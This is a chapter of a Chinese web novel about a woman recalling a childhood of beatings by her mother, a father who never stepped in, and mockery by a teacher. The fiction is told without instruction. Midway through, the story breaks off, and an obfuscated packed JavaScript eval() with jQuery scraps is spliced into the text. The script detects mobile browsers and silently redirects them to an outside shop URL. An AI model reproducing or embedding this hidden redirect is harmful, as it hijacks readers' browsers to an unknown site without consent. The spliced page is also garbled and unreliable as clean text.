天黑夜冷，寒风习习。
徐微已经在小区花坛边吸了半盒烟了。
电脑包随地一放，指节夹着烟，抖落抖落，烟灰掉在茶花树叶子上，让徐微想起自己的曾经。
*
爸爸在家门口的小院吸烟，烟灰也总是掉在妈妈种的兰花上。
随后是惊天动地的家庭争吵，徐微哭着跪在地上求他们不要吵架，被妈妈甩了一个耳光。
疼得脑震荡。
如今二十九岁的徐微早就解离了过往的一切疼痛，完成了“逃离原生家庭”这一步骤，却依然无法客观地描述那对天造地设的坏蛋与蠢货。
爸爸选择妈妈，因为他在婚姻市场上别无选择，只能骗到初中辍学打工两年、笨得要死的妈妈。
妈妈选择爸爸，因为爸爸看起来老实，不会打她。
爸爸不打人，但妈妈打。
妈妈说，她对女儿已经够好了，她以前挨外公外婆的打更多。
徐微小时候弄碎了一只碗，顾艳揪着她的耳朵从屋里打到屋外，逼她脱光了衣服，在院子里罚跪。
她跪到大半夜，直到顾艳拿着衣架从屋里走出来，骂她丢人。
“咻咻咻”——
铁衣架打在她赤.裸的背上，她咬紧牙关，脸涨红，却坚决不肯哭。
因为哭的话，顾艳会打得更狠，骂她：“哭什么哭，你一哭我就心烦”。
然而打完了，顾艳就抱着徐微哭。
徐微顾不上跪破了的膝盖，伸出干瘦脏污的小手，小心擦妈妈的眼泪，她觉得妈妈好可怜，她对不起妈妈。
至于爸爸呢？
爸爸在卧室睡觉。
从小到大，徐朝军在女儿被欺负时从未出场。
徐朝军是兄弟家庭的“男招娣”，此生都在献祭自己和妻女博取父母的垂怜，结果就是徐微的家被爷爷奶奶搅得一团糟。
徐微已经记不清有多少次，顾艳抱着她控诉爸爸不做家务、不拿钱回家，爷爷奶奶偏疼叔叔家，爸爸还上赶着给那俩老畜牲当牛做马。
于是小小的她为了妈妈和爸爸、爷爷、奶奶、叔叔吵架。
最后换来顾艳在众人面前的控诉，“他毕竟是你的爸爸/爷爷/奶奶/叔叔啊，你怎么可以不尊重他！”
嗯，原来是她的错。
顾艳说，你是女孩子，要会做家务，不然以后婆家不要你。
徐微就学会了洗衣做饭。
然后因为没有洗干净爸爸的内裤被妈妈打巴掌。
她咬紧牙关，蹲在小溪边，把爸爸灰色的绵内裤用力地来回搓。
眼泪一颗都没掉。
因为她做什么都是错，所以她的童年手足无措。
社会化，是指个体在与社会的互动过程中，逐渐养成独特的个性和人格，从生物人转变为社会人，并通过社会文化的内化和角色知识的学习，逐渐适应社会生活的过程。在此过程中，社会文化得以积累和延续，社会结构得以维持和发展，人的个性得以健全和完善。
“对未成年人来说，有两个场景可以帮助他们完成社会化，第一个是家庭，第二个是学校。”硕导周婷婷带徐微去南京调研，边开车边说，“我父亲是个很暴躁的人，经常打我和妈妈，幸运的是，我从小成绩很好，一直是班里的第一名，老师很喜欢我，我父亲就很少打我了。”
徐微坐在副驾，虚心地问：“那现在您和您父亲的关系怎么样？”
周婷婷淡淡：“哦，他死了。”
“恭喜”话到嘴边还是憋了回去，徐微深吸气，说：“老师，您节哀。”
“死多少年了都，早不哀了。”周婷婷轻触车载屏幕，鼓点欢快的DJ音乐荡满全车。
然而，大量的家庭社会学研究佐证，在家里得不到认同的孩子，在学校里同样难以获得老师和同学的认同。
例如徐微。
六岁那年，顾艳再也无法忍受独自带女儿的消耗，把她塞进了村口的小学。
那是二十一世纪初很常见的乡村小学，几排平房当教室，六个年级，每个年级一个班，中间的沙地当操场，跑起来沙尘飞扬。
村里的孩子们每天挎两个饭盒上学，一个装生米，一个装昨晚家里的剩菜，早上走进食堂，淘完米，放在大桌上，中午，食堂阿姨蒸熟所有孩子的米饭，孩子们取走自己的饭盒，在教室里吃午餐。
徐微背着小小的米老鼠书包，拎着饭盒袋，跌跌撞撞走在华东村落的青石板路上。
可以想见，一个没有上过村里的幼儿园，还比全班同学小了一岁的女孩子，即使在乡村小学，也跟不上教学进度。
别的同学半节课能写完的大字，徐微一节课还没写完；别的同学很快就能订正好的作业，她要盯着题目琢磨很久，再慢吞吞地提笔——
还订正错了。
她的班主任，一个胖胖的、脸上发福的语文教师，突然夺走了她的作业本，“哗啦”往教室外一扔，揪着她的头发前后左右使劲摇：“先写撇后写捺！说了多少遍！你到底听不听得懂？！”
她被摇得天旋地转，眼泪在眼眶里打转，却依然不敢哭。
班主任摇完了，放下她的头发，中气十足：“还不把本子捡回来？！”
徐微低着头，走出教室，温顺地蹲下来，捡起石板走廊上的作业本。
石板坑坑洼洼，有好几个小坑，她就伸手摸了摸。
指尖沾了灰尘。
“你们看，她像不像在大街上捡垃圾的慢吞吞老太太。”班主任粗肥的手指指向她。
全班哄堂大笑。
徐微懵懂地抬起头。
“慢吞吞老太太”这个外号，困扰了徐微很多年。
她至今都没想明白，一个小学老师，到底为什么要给一个笨拙、愚钝的学生取外号，并发动其他学生一起羞辱她？
她只是笨了一点、慢了一点而已啊。
她没有犯什么错。
寒风吹散了茶花树叶上的烟灰，徐微轻摁打火机，点燃下一根烟。
转机发生在四年级，一位刚毕业的定向师范生接手的徐微的班级，按照相关政策规定，她需要在乡村小学支教五年。
女老师对每个孩子都严格负责，最重要的是，她不知道徐微“慢吞吞老太太”的外号，也从来不取笑她。
一次课间，女老师走下讲台，疑惑地问：“徐微，你为什么每次刚上课就走神了呢？上课应该一直保持注意力集中。”
徐微呆呆地看着老师。
哦——原来上课要听课的呀。
从来没人跟她说过。
她终于，开智了。
她像个普通的小学生那样，开始学习了。
她依然学得很慢，经常跟不上老师的节奏，其实跟上了也没用，学校里大多数是操着一口华东塑普的老教师，把“递等式”念成“电灯式”，上完数学课，还要给他们上体育课。
徐微就自己对着课本琢磨。
到六年级的时候，徐微从差生勉强变成了中等生——
她每天早早地到达学校，刚把书包放下，一群男生女生哄拥而上，拉开她的书包拉链，抄她的作业。
她总算有了一些朋友。
抄她作业的同学越来越多，为了不耽误同学，徐微到校的时间越来越早。
顾艳起了怀疑，一次早自习，她悄悄跟到了学校。
妈妈发现了她的秘密。
“好啊，你们抄她的作业！”顾艳咬牙切齿地骂，冲进一群围着桌子疯狂抄作业的小学生里，把徐微的作业本抢出来，撕得粉碎。
然后，当着全班同学的面，狠狠地甩了徐微一个耳光。
徐微嗑在讲台上，天旋地转的，捂住脑袋疼得龇牙咧嘴。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660045|203610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
她挣扎着站起来，不知道是被打的还是难堪的，脸又红又烫。
依然没有哭。
顾艳指着教室里呆滞的小学生，什么屎啊尿啊婊.子啊狗娘养的，脏到根本写不出来的方言全都从嘴里崩出来。
徐微瑟缩在教室角落，第一次觉得，妈妈，好丢人啊。
顾艳骂累了，抱臂站在教室门口，恨恨地盯着战战兢兢的孩子们，老师一来早自习，她尖着嗓子告状：“他们半个班的同学都在抄徐微的作业！”
“我知道的，他们一直在抄，我看的出来。”女老师推了推低头不说话的徐微，严厉地说，“你以为你在帮助同学吗？你是在害了你的同学。”
哦，原来是她的错。
下午，女老师给班里每位抄她作业的同学的家长，打去了问候的电话。
那天晚上村里好几户人家鬼哭狼嚎，小孩儿全挨了打。
同学们从此恨徐微的妈妈，也恨徐微。
徐微理所当然地被全班孤立。
在社会化的进程中，她总是被家庭和学校一起欺负。
*
幸运的是，小学很快结束了，徐微按照片区政策，升入一所乡镇初中。
更幸运的是，上初中以后，徐微住进了宿舍，至于顾艳，哦，她住进了精神病院。
没有女儿承接她的痛苦，顾艳必须自己消解那些惨烈偏执的情绪，消解不了，就启动自毁。
一次割腕自杀未遂后，徐朝军把老婆送进了精神病院。
村里人都夸赞徐朝军老实可靠，娶了个疯女人，还对她不离不弃。
没人想起来十几年前顾艳穿着大红色的婚纱，踏进沙泥路，满心憧憬地嫁给丈夫的时候，起码是个正常人。
半年后顾艳出院，医生诊断她是抑郁症，需要长期吃药。
从此顾艳打徐微打得少了，徐微觉得主要原因是她上初中后就长期住校，她妈打不到。
徐微的舍友们和她一样，都来自附近的小村庄，是家里的独生女或者有一个兄弟姐妹。
那是徐微人生里第一段友谊。
她们八个女孩子，一起去食堂吃饭，一起去开水房打热水，一起在大浴室外排队，分享四个高高的冷水淋浴头，光屁股一起洗澡，互相泼冷热相兑的温水。
她们至今保持了联系。
但徐微是八个女生里唯一一个考上普通高中、考上大学、考上硕士研究生、考上博士研究生，当上大学教授，靠自己彻底实现阶层跨越的。
究其原因，大概是徐微擅长思考吧。
她的爸爸老实木讷，妈妈阴晴不定，老师也不会在一个安静、贫穷、成绩普通的女生身上多留心。
没有人教她到底怎么做人、怎么做事，徐微琢磨了很久，觉得课本肯定不会错。
课本上说，阅读是陪伴人一生的优秀习惯。
乡镇初中有座小小的图书馆，每个学生都有一张借阅卡，徐微是唯一一个把借阅卡当回事的。
她每周都去图书馆借书。
晚自习写完作业，她就坐在座位上，如饥似渴地读。
阅读，是她坚持了一生的习惯。
她的舍友们在完成中专学业后就步入社会，其中六个女孩子像蒲公英一样，迅速嫁到了明州市东南西北各个区域，并怀孕生子。
还有一位舍友没结婚，她三十岁了，拿着中专学历在离家千里的成都打拼，并非她在工作上有什么特别的禀赋，而是因为——
她是个拉拉。
她回不了家。
茶花树叶上的烟灰吹散又很快盖上新的，第一包烟吸完，徐微叹笑一声。
她从大衣口袋里摸出第二包。
打火机微亮的火舌在寒风中摇曳。
点燃香烟，她背过另一只手，抚摸自己的后腰。
她的头发，曾经那么那么长。